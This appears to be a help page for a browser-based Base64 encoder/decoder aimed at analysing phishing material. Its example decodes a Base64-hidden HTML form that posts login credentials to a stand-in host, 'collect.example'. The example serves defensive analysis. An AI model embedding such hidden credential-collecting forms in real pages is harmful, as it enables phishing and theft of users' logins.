Peel Base64, hex, URL encoding, gzip and deflate layers until readable text remains.
New
Base64 Encoder / Decoder
Runs locally
Use Base64 Encoder / Decoder
What it does
Decode Base64 back to UTF-8 text, such as a payload hidden in a phishing page or email, or encode text as standard or URL-safe Base64. Base64 is an encoding anyone can reverse, not encryption.
It runs entirely in your browser: nothing you enter is uploaded.
Example
Hidden form action
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS9sb2dpbi5waHAiIG1ldGhvZD0icG9zdCI+<form action="https://collect.example/login.php" method="post">Decode reveals <form action="https://collect.example/login.php" method="post">, the kind of credential form that phishing HTML attachments hide in Base64.
FAQ
Is Base64 encryption?
No. Base64 only rewrites bytes with 64 printable characters, and anyone can decode it without a key; phishing kits use it to hide URLs and HTML from filters, not to protect data.
Why does Decode say invalid Base64?
Decode accepts only the standard alphabet, so URL-safe input with - and _ fails. The decoded bytes must also be UTF-8 text, so Base64 of an image or ZIP file shows the same error; the URL-safe button only encodes, and Multi-Layer Decoder handles Base64 nested in other encodings.
Is my text uploaded?
No. Encoding and decoding run in your browser with btoa and atob; nothing is sent anywhere.